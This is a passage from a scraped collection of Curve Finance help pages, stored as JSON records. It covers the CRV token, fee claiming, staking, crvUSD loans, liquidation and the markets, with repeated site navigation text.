Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Curve v1 What is Curve.fi? What are liquidity pools? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Understanding curve Understanding Curve v1 A short guide to understand the basics of becoming a liquidity provider on Curve. Getting started with Curve isnt easy, there is a lot to grasp and the unique UI can be a lot to take in. This small guide is intended for Curve beginners with an understanding of DeFi and Crypto. It tries to answer recurring questions about how to get started with Curve and how it works or makes money for liquidity providers. What is Curve.fi? The easiest way to understand Curve is to see it as an exchange. Its main goal is to let users and other decentralised protocols exchange ERC-20 tokens (DAI to USDC for example) through it with low fees and low slippage . Unlike exchanges that match a buyer and a seller, Curve uses liquidity pools. To achieve successful exchange volume, Curve needs a high volume of liquidity (tokens) and therefore offers rewards to liquidity providers . Curve is non-custodial , meaning the Curve developers do not have access to your tokens. Curve pools are also non-upgradable, so you can have confidence that the logic protecting your funds can never change. What are liquidity pools? Liquidity pools are pools of tokens that sit in smart contracts and can be exchanged or withdrawn at rates set by the parameters of the smart contract. Adding liquidity to a liquidity pool gives you the opportunity to earn trading fees and possibly rewards. For more information, visit the following section: Understanding Curve Pools What are those percentages next to each pool? Curve pools may have several different percentages shown next to them in the UI. The first column, vAPY, refers to the annualized rate of trading fees earned by liquidity providers in the pool. Any activity on every Curve pool generates fees, a portion of which accrue to everybody who has a stake in the pool. Further information is in the Liquidity Provider section . The second column refers to the reward gauges. This entitles liquidity providers to earn bonus CRV emissions. More detail on these bonuses are in the Reward Gauges section . What is the CRV token? CRV token is a governance and utility token for Curve. Understanding $CRV Understanding Governance Can I use Curve on sidechains? Yes. Curve has launched on several sidechains and will continue to do so. Visit our section on Multichain for more information. How Can I Launch a Pool All new Curve pools are deployed permissionlessly through the Curve Factory. This means anybody can deploy a pool anytime, anywhere. For a full guide, check our Factory Pools section. Why has Curve grown so quickly? When Curve launched it grew quickly by securing the underdeveloped stablecoin market. Stablecoins have become an inherent part of cryptocurrency for a long time but they now come in many different flavours (DAI, TUSD, sUSD, bUSD, USDC and so on) which means there is a much bigger need for crypto users to move from a stable coin to another. Centralised exchanges tend to have high fees which are problematic for those trying to move from a stable coin to another. As a result, Curve.fi has become the best place to exchange stable coins because of its low fees and low slippage. The proprietary Curve StableSwap exchange was outlined in the founding whitepaper, and provides a superior formula for exchanging stablecoins than competing AMMs. Read through the whitepaper to learn more. More recently, Curve launched v2 Crypto Pools to bring the same simplicity and efficiency of Curve's stablecoin pools to transactions between differentially priced assets (ie BTC and ETH). These pools are sufficiently different to justify their own section: Where can I find Curve smart contracts? Here: https://www.curve.fi/contracts The Github repository also open sources the bulk of Curve development activity. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Claiming trading fees", "html_url": "https://resources.curve.fi/crv-token/claiming-trading-fees/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Claiming trading fees Table of contents Claiming Trading Fees Swapping 3CRV for a stable coin How does it all work? Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Claiming Trading Fees Swapping 3CRV for a stable coin How does it all work? Claiming trading fees Claiming Trading Fees Users who stake $CRV can claim trading fees as often as you'd like, but fees will only be converted into 3CRV once a week. To claim your fees, visit https://curve.fi/#/ethereum/dashboard and click the blue \"Claim LP Rewards\" button. If you are using the classic UI please visit: https://classic.curve.fi/ and look for the green \"Claim\" button in the box labeled \"veCRV 3pool LP claim\" at the bottom of the page. Every time a trade takes place on Curve Finance, 50% of the trading fee is collected by the users who have vote locked their CRV. Every week, fees are collected from the pools, converted to 3CRV and distributed. There is a delay before you can first claim your 3CRV after locking. It takes 8 days from the Thursday after which you lock before you can claim. Understanding $CRV Swapping 3CRV for a stable coin If you would like to swap your 3CRV back into a stable coin, you can head to https://curve.fi/#/ethereum/pools/3pool/withdraw , select the stable you would like to receive (optional) and click \" Withdraw \". After confirming your transaction, you will then receive 3CRV. How does it all work? When the burn is triggered, a contract collects all trading fees from all the swap pool contracts. Those fees come in dozen of different stable coins, tokenized Bitcoin and Ethereum flavours. The fee tokens are traded into USDC using Curve and Synthetix, which is then deposited to 3Pool. Finally, the burner creates a checkpoint which updates all the claimable balance of each veCRV holder. Burning is an expensive process, as it involves many complex transactions, but anyone can trigger the process whenever they wish if they are willing to pay for it. Fees may only be claimed for the week that has already passed, because the burner does not know how much everyone is entitled to before the end of the period. Fees will be available on a weekly basis within 24 hours after Thursday midnight UTC, as long as someone (usually the Curve team) has initiated the burn prior to that. Technical users can review the burner contracts here: https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/burners The following script may be used to initiate the burn process: https://github.com/curvefi/curve-dao-contracts/blob/master/scripts/burners/claim_and_burn_fees.py Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Crv basics", "html_url": "https://resources.curve.fi/crv-token/crv-basics/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv basics Table of contents $CRV Basics What is the purpose of $CRV? How to get $CRV? Where can I find the release schedule? What is the current circulating supply? What is the utility of $CRV? What is $CRV vote locking? Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents $CRV Basics What is the purpose of $CRV? How to get $CRV? Where can I find the release schedule? What is the current circulating supply? What is the utility of $CRV? What is $CRV vote locking? Crv basics $CRV Basics Basics about the CRV token. What is the purpose of $CRV? The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. How to get $CRV? Liquidity providers on the Curve platform receive $CRV for providing liquidity. This ensures the protocol continues offering low fees and extremely low slippage. Where can I find the release schedule? You can find the release schedule for the next six years at this address: https://dao.curve.fi/inflation What is the current circulating supply? The current circulating supply can be found at this address: https://dao.curve.fi/inflation What is the utility of $CRV? $CRV is a governance token with time-weighted voting and value accrual mechanisms. You can find out what to do with $CRV by clicking below: Understanding $CRV What is $CRV vote locking? One of the most important incentive to holding CRV is the vote locking boost. Each liquidity provider can increase their daily CRV rewards by vote locking CRV. You can vote lock your CRV at this address: https://dao.curve.fi/locker Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Crv tokenomics", "html_url": "https://resources.curve.fi/crv-token/crv-tokenomics/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Crv tokenomics Table of contents $CRV Tokenomics Supply Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents $CRV Tokenomics Supply Crv tokenomics $CRV Tokenomics $CRV officially launched on the 13 th of August 2020. The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. Supply The total supply of 3.03b is distributed as such: 62% to community liquidity providers 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The initial supply of around 1.3b (~43%) is distributed as such: 5% to pre-CRV liquidity providers with 1 year vesting 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The circulating supply will be 0 at launch and the initial release rate will be around 2m CRV per day. Full release schedule here: https://dao.curve.fi/releaseschedule Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Staking your crv", "html_url": "https://resources.curve.fi/crv-token/staking-your-crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Staking your crv Table of contents Staking your $CRV Locking your $CRV Claiming your trading fees How to calculate the APY for staking CRV? Further Reading Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Staking your $CRV Locking your $CRV Claiming your trading fees How to calculate the APY for staking CRV? Further Reading Staking your crv Staking your $CRV Starting on the 19 th of September 2020, 50% of all trading fees are distributed to veCRV holders . This is the result of a community-led proposal to align incentives between liquidity providers and governance participants (veCRV holders). Collected fees will be used to buy 3CRV (LP token for 3Pool) and distribute them to veCRV holders. This currently represents over $15M in trading fees per year. veCRV stands for vote escrowed $CRV, they are $CRV vote locked in the Curve DAO. Vote Locking You can also lock $CRV to obtain a boost on your provided liquidity. Boosting your CRV Rewards Video about how to stake $CRV: https://www.youtube.com/watch?v=8GAI1lopEdU Locking your $CRV Once you know how much and how long you wish to lock for, visit the following page: https://dao.curve.fi/locker Enter the amount you want to lock and select your expiry. Remember locking is not reversible. The amount of veCRV received will depend on how much and how long you vote for. You can extend a lock and add $CRV to it at any point but you cannot have $CRV with different expiry dates. Claiming your trading fees Claiming Trading Fees How to calculate the APY for staking CRV? The formula below can help you calculate the daily APY: $$ \\frac{DailyTradingVolume * 0.0002 * 365}{TotalveCRV * CRVPrice} * 100 $$ Further Reading https://www.stakingrewards.com/earn/curve-dao-token/ Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding crv", "html_url": "https://resources.curve.fi/crv-token/understanding-crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Understanding crv Table of contents Understanding $CRV Staking (trading fees) Boosting Voting The CRV Matrix Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding $CRV Staking (trading fees) Boosting Voting The CRV Matrix Understanding crv Understanding $CRV The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. Currently CRV has three main uses: voting, staking and boosting. Those three things will require you to vote lock your CRV and acquire veCRV. veCRV stands for vote-escrowed CRV, it is simply CRV locked for a period of time. The longer you lock CRV for, the more veCRV you receive. Staking (trading fees) CRV can now be staked (locked) to receive trading fees from the Curve protocol. A community-lead proposal introduced a 50% admin fee on all trading fees. Those fees are collected and used to buy 3CRV, the LP token for the TriPool, which are then distributed to veCRV holders. Staking your $CRV Calculating Yield Boosting One of the main incentive for CRV is the ability to boost your rewards on provided liquidity. Vote locking CRV allows you to acquire voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity you are providing on Curve. Boosting your CRV Rewards Voting Once CRV holders vote-lock their veCRV, they can start voting on various DAO proposals and pool parameters. Proposals The CRV Matrix The table below can help you understand the value add of veCRV. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "FAQ", "html_url": "https://resources.curve.fi/crvusd/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ FAQ Table of contents $crvUSD FAQ General What is $crvUSD and how does it work? How does the $crvUSD liquidation process differ from other debt-based stablecoins? How is $crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? What happens if the collateral price recovers? Under what circumstances can I be liquidated? How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn $crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the $crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using $crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has $crvUSD been audited? Can I see the code? $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents $crvUSD FAQ General What is $crvUSD and how does it work? How does the $crvUSD liquidation process differ from other debt-based stablecoins? How is $crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? What happens if the collateral price recovers? Under what circumstances can I be liquidated? How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn $crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the $crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using $crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has $crvUSD been audited? Can I see the code? FAQ $crvUSD FAQ General What is $crvUSD and how does it work? $crvUSD refers to a dollar-pegged stablecoin, which may be minted by a decentralized protocol developed by Curve Finance. Users can mint $crvUSD by posting collateral and opening a loan within this protocol. How does the $crvUSD liquidation process differ from other debt-based stablecoins? $crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. How is $crvUSD pegged to a price of $1? The $crvUSD peg is broadly protected by the fact that the protocol is always overcollateralized. The protocol employs a number of stabilization mechanisms to fine-tune this peg. One mechanism is to automatically adjust borrow rates based on supply and demand. The protocol also relies on Peg Keepers (see below section), which are authorized to burn or mint $crvUSD based on market conditions. Can other types of collateral be proposed for crvUSD? How does that process work? Yes, other collateral markets can be proposed for $crvUSD through governance. Contact the community support channels for additional information on the current process to propose new collateral types. Each approved collateral has its own $crvUSD market. Liquidation Process What is my liquidation price? At the start of the $crvUSD loan process, collateral is deposited and equally distributed over a range of prices rather than one single liquidation price. When the price falls within this range, your collateral begins its conversion into $crvUSD, a process that helps maintain the health of your loan and, in most circumstances, prevents a liquidation. Thus, you do not have one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? This price range can optionally be adjusted and customized when initially creating a loan. In the UI, look for the advanced mode toggle which will provide more information on this range as well as an Adjust button that allows you to fine-tune this range. What happens when the collateral price drops into my selected range? Each $crvUSD market is attached to an AMM. When the collateral price drops into your selected range, this collateral can be traded in the AMM. When this happens, traders can purchase your collateral and replace it with $crvUSD. This has the effect of leaving your loan collateralized by stablecoins, which better hold value and maintain your loan health. NOTE: This process was initially referred to as soft liquidation. This term is being phased out to avoid confusion with the harder liquidation process in which a loan is closed and collateral is sold off. What happens if the collateral price recovers? While collateral price rises, the above process happens in reverse. Your position is traded via the AMM from $crvUSD back into your original collateral. Due to AMM trading fees, you may find you have lost a few percentage points worth of your original collateral value once the collateral price is again above the top end of your selected liquidation range. Under what circumstances can I be liquidated? Should your loan health drop below 0%, you are eligible to for liquidation. In liquidation, your collateral is sold off and your position closes. While the $crvUSD collateral conversion AMM mechanism aims to protect against liquidations, it may be unable to keep pace with severe price swings. Borrowers are recommended to maintain loan health, particularly when prices drop within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? Once collateral price drops into your liquidation range, you are not permitted to add new collateral to protect your loan health. With collateral price inside your liquidation range, the only way to increase your loan health is to repay $crvUSD. Even small $crvUSD repayments while collateral price is within your liquidation range can be helpful in preventing a liquidation. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Peg Keepers What are Peg Keepers? The Peg Keepers are contracts uniquely enabled to mint and absorb debt in $crvUSD for the purposes of trading near the peg. Under what circumstances can the Peg Keepers mint or burn $crvUSD? Each Peg Keeper targets a specific Peg Keeper pool . A Peg Keeper pool is a Curve v1 pool allowing trading between $crvUSD and a blue chip stablecoin. The Peg Keepers are responsible for trying to balance these pools by trading at a profit. The Peg Keepers can only mint $crvUSD to trade into their associated pools when its pool balance of $crvUSD is too low, or it can repurchase and burn the $crvUSD if its pool balance is too high. What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? A Peg Keeper's debt is the amount of $crvUSD it has deposited into a specific pool. Total debt in $crvUSD includes all outstanding $crvUSD that has been borrowed across the system. What does it mean if the Peg Keeper's debt is zero? If a Peg Keeper's debt is zero, it means that the Peg Keeper has no outstanding debt in the $crvUSD system. How does Peg Keeper trade and distribute profits? Every Peg Keeper has a public update function. If the Peg Keeper has accumulated profits, then a portion of these profits are distributed at the behest of the user who calls the update function, in order to incentivize distributed trading in the pools. To access this on Etherscan, you can visit LLAMMA details on the $crvUSD UI within any market. Click the Monetary Policy link to visit Etherscan. On Etherscan, click the Contract tab and the Read Contract tab underneath. Under function 6 (peg_keepers) type the index value of the market you are interested in. The index value ranges from 0 to n-1 where n is the number of $crvUSD markets. Click on the link returned, again click Contract and Read Contract to access the function 6 (estimate_caller_profit) to know the minimum tokens you would receive. To call the function, select the Write Contract tab, connect your wallet, and call function 1 (update) Borrow Rate What is the Borrow Rate? The Borrow Rate is the variable interest rate charged on active loans within each collateral market. How is the $crvUSD Borrow Rate calculated? The Borrow Rate for each $crvUSD collateral market is calculated based on a series of parameters, including the Peg Keeper's debt, the total debt, and the market demand for borrowing. Safety and Risks What are the risks of using $crvUSD As with all cryptocurrencies, $crvUSD carries several risks, including depeg risks and risk of liquidation of your collateral. Make sure to read the disclaimer and exercise caution when interacting with smart contracts. How can I best manage my risks when providing liquidity or borrowing in crvUSD? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has $crvUSD been audited? Yes, you may read the full $crvUSD MixByte audit and other audits for Curve may be published to Github . Can I see the code? The code is publicly available on the Curve Github . Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Loan creation", "html_url": "https://resources.curve.fi/crvusd/loan-creation/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan creation Table of contents Loan Creation Leveraging Loans Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Loan Creation Leveraging Loans Loan creation Loan Creation In standard mode, creating a loan using $crvUSD only requires setting how much of the collateral asset you would like to add, and how much $crvUSD you would like to borrow in return. After you have set your collateral amount, the UI will display the maximum amount you can borrow. The UI includes a dropdown for additional loan parameters like the current Oracle Price and Borrow Rate . Loan Parameters A: The amplification parameter A defines the density of liquidity and band size. Base Price: The base price is the price of the band number 0. Oracle Price: The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health. Borrow Rate: The borrow rate is the annual interest rate charged on the loan. This rate is variable and can change based on market conditions. The borrow rate is expressed as a percentage. For example, a borrow rate of 7.62% means that you will be charged 7.62% interest per year on the outstanding balance of your loan. You can toggle advanced mode in the upper right-hand side of the screen. The advanced mode adds a display with more information about the current distribution across all the bands within the entire LLAMMA . It also enhances the loan creation interface by displaying the liquidation and band range, number of bands, borrow rate, and Loan to Value ratio (LTV). Additionally, users can manually select the number of bands for the loan by pressing the \"adjust\" button and using the slider to increase or decrease the number of bands. Leveraging Loans The UI provides the option to leverage your loan. You can leverage your collateral up to 9x. This has the effect of repeat trading crvUSD to collateral and depositing to maximize your collateral position. Here explains how leveraging works well. Be careful: if the collateral price dips, you must repay the entire amount to reclaim your initial position. WARNING: The corresponding deleverage button is also not yet available. Toggling the advanced mode expands the display to show additional information about the loan, including the price impact and trade route. Last update: 2023-09-20 Back to top", "labels": ["Documentation"]}, {"title": "Loan details", "html_url": "https://resources.curve.fi/crvusd/loan-details/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Loan details Table of contents Loan Management Loan Details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Loan Management Loan Details Loan details The Loan Details page shows you information about your loan as well as features to manage your loan. Loan Management Everything you may need to manage your loan is in the dark blue box on the left side of the page. These features include: Loan: Borrow more Repay Self-Liquidate Collateral: Add Remove During soft-liquidation, users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health ratio or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. Loan Details When you take out a loan with $crvUSD your collateral is spread over a range of liquidation prices. If the asset price drops within this range, you will enter soft liquidation mode. In soft liquidation mode you cannot add more collateral, your only available actions are to repay your loan with $crvUSD or to self-liquidate yourself. Additional displays show information about the entire LLAMMA , including the amount of total debt, as well as your wallet balance. In the upper righthand side of the screen you can toggle advanced mode to get additional information on your loan. In advanced mode the UI changes to show more information about your collateral bands . Advanced mode also adds a tab with more info about the entire LLAMMA . Last update: 2023-09-12 Back to top", "labels": ["Documentation"]}, {"title": "Markets", "html_url": "https://resources.curve.fi/crvusd/markets/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Markets Table of contents Markets Collateral Choices Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Markets Collateral Choices Markets Markets On the Markets page you can view all the available collateral types. The page shows the current borrow rate , total amount of $crvUSD borrowed, and total amount of collateral backing it. If you do not have a position, you can click on any market to create a loan . If you already have a position it will show a dollar sign overlay on the left, and clicking on the market will take you to a page to manage your loan . Collateral Choices While testing $crvUSD, the team created a market for $sfrxETH with a small market cap ($10MM) because it had a compatible oracle. Additional forms of collateral are expected to be approved by the DAO. Last 